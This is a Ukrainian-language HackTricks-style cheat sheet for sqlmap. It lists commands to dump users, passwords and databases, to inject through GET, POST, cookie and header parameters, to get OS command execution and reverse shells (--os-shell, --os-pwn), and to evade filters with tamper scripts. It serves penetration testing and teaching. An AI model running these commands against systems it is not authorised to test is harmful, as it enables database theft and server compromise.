189 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# SQLMap
{{#include ../../banners/hacktricks-training.md}}
## Основні аргументи для SQLmap
### Загальні
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
### Technique flags (`--technique`)
Аргумент `--technique` визначає, які методи SQL-ін'єкцій sqlmap спробує.
Кожен символ у рядку представляє техніку:
| Літера | Техніка | Опис |
| ------ | --------- | ----------- |
| B | Boolean-based blind | Використовує умови true/false для виведення даних |
| E | Error-based | Використовує детальні повідомлення про помилки СУБД для ексфільтрації результатів |
| U | UNION query | Впроваджує оператори `UNION SELECT` для отримання даних через той же канал |
| S | Stacked queries | Додає додаткові оператори, розділені `;` |
| T | Time-based blind | Спирається на затримки (`SLEEP`, `WAITFOR`) для виявлення ін'єкції |
| Q | Inline / out-of-band | Використовує функції, такі як `LOAD_FILE()`, або OOB-канали, такі як DNS |
Замовчуваний порядок - `BEUSTQ`. Ви можете переставити або обмежити їх, наприклад, лише Boolean і Time-based у цьому порядку:
```bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch
```
### Отримати інформацію
#### Внутрішній
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
#### Дані БД
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
## Injection place
### From Burp/ZAP capture
Захопіть запит і створіть файл req.txt
```bash
sqlmap -r req.txt --current-user
```
### Впровадження GET запиту
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### Впровадження POST-запиту
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Ін'єкції в заголовках та інших HTTP методах
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Ін'єкція другого порядку
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
### Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Обхід веб-сайту з SQLmap та автоматичне використання уразливостей
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
## Налаштування ін'єкції
### Встановити суфікс
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
### Префікс
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Допомога у знаходженні булевої ін'єкції
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Опис |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
| appendnullbyte.py | Додає закодований символ NULL байта в кінець навантаження |
| base64encode.py | Кодує всі символи в заданому навантаженні в Base64 |
| between.py | Замінює оператор більше ніж \('&gt;'\) на 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE |
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому навантаженні \(не обробляючи вже закодовані\) |
| commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' |
| commalessmid.py | Замінює випадки на кшталт 'MID\(A, B, C\)' на 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Замінює випадки на кшталт 'CONCAT\(A, B\)' на 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | URL-кодує всі символи в заданому навантаженні \(не обробляючи вже закодовані\) |
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому навантаженні \(не обробляючи вже закодовані\). "%u0022" |
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому навантаженні \(не обробляючи вже закодовані\). "\u0022" |
| equaltolike.py | Замінює всі випадки оператора рівності \('='\) на оператор 'LIKE' |
| escapequotes.py | Екранує лапки \(' і "\) |
| greatest.py | Замінює оператор більше ніж \('&gt;'\) на його аналог 'GREATEST' |
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Обгортає повний запит версійним коментарем |
| modsecurityzeroversioned.py | Обгортає повний запит коментарем з нульовою версією |
| multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів |
| nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни \(наприклад, .replace\("SELECT", ""\)\) фільтри |
| percentage.py | Додає знак відсотка \('%'\) перед кожним символом |
| overlongutf8.py | Перетворює всі символи в заданому навантаженні \(не обробляючи вже закодовані\) |
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
| randomcomments.py | Додає випадкові коментарі до SQL ключових слів |
| securesphere.py | Додає спеціально підготовлений рядок |
| sp_password.py | Додає 'sp_password' в кінець навантаження для автоматичного затемнення з журналів DBMS |
| space2comment.py | Замінює символ пробілу \(' '\) на коментарі |
| space2dash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує випадковий рядок і новий рядок \('\n'\) |
| space2hash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує випадковий рядок і новий рядок \('\n'\) |
| space2morehash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує випадковий рядок і новий рядок \('\n'\) |
| space2mssqlblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
| space2mssqlhash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує новий рядок \('\n'\) |
| space2mysqlblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
| space2mysqldash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує новий рядок \('\n'\) |
| space2plus.py | Замінює символ пробілу \(' '\) на плюс \('+'\) |
| space2randomblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги \(&& і |
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
| unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) |
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово версійним коментарем |
| versionedmorekeywords.py | Обгортає кожне ключове слово версійним коментарем |
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
## References
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
{{#include ../../banners/hacktricks-training.md}}